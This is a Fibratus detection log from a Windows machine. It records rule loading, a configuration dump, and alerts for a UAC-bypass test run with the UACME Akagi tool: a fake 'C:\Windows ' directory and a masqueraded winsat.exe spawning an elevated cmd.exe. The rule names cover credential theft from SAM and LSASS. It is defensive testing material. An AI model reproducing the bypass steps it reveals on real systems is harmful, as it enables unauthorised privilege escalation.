C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:32:00+01:00 level=info msg=bootstrapping with pid 8260. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:32:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 max-buffers=>36 buffer-size=>512 enable-registry=>true enable-fileio=>true enable-thread=>true enable-vamap=>true stack-enrichment=>true enable-dns=>false enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-handle=>false enable-net=>true enable-audit-api=>true enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enabled=>false method=>POST timeout=>5s] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false timeout=>5s enabled=>false index-name=>fibratus healthcheck-interval=>10s healthcheck=>true template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s sniff=>false gzip-compression=>false flush-period=>1s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false passive=>false durable=>false exchange=>fibratus routing-key=>fibratus exchange-type=>topic]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:32:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:32:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:32:14+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 9111111 + Pid: 19212 + Tid: 19084 + Type: SetThreadContext + CPU: 5 + Name: SetThreadContext + Category: thread + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:32:13.0120732 +0100 CET + Params: status➜ Success + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Thread context set from unbacked memory, technique.id: T1055, technique.name: Process Injection + + Pid: 19212 + Ppid: 10124 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=8.394" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=8.394" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:32:16+01:00 level=info msg=sending alert: [Fake system root directory creation]. Text: Event(s): + Seq: 9118575 + Pid: 19408 + Tid: 14376 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:32:13.0551766 +0100 CET + Params: attributes➜ HIDDEN|SYSTEM, create_disposition➜ CREATE, create_options➜ DIRECTORY_FILE, file_object➜ ffff978f75529750, file_path➜ C:\Windows , irp➜ ffff978f730c20f8, share_mask➜ READ|WRITE, status➜ Success, tid➜ 14376, type➜ Directory + Metadata: rule.name: Fake system root directory creation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 19408 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:32:18+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: Event(s): + Seq: 9129163 + Pid: 6340 + Tid: 14052 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:32:13.7049479 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 242b37000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f751c6080, name➜ conhost.exe, pid➜ 5384, ppid➜ 6340, real_ppid➜ 6340, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:32:13.7049479 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764945133704953276, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 6340 + Ppid: 19408 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:32:21+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: Event(s): + Seq: 9137147 + Pid: 6340 + Tid: 14052 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:32:13.9196571 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3a7697000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f7abe9080, name➜ cmd.exe, pid➜ 17580, ppid➜ 6340, real_ppid➜ 6340, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:32:13.91957 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 8295630762724556800, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 6340 + Ppid: 19408 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:32:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:32:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:32:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:33:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from 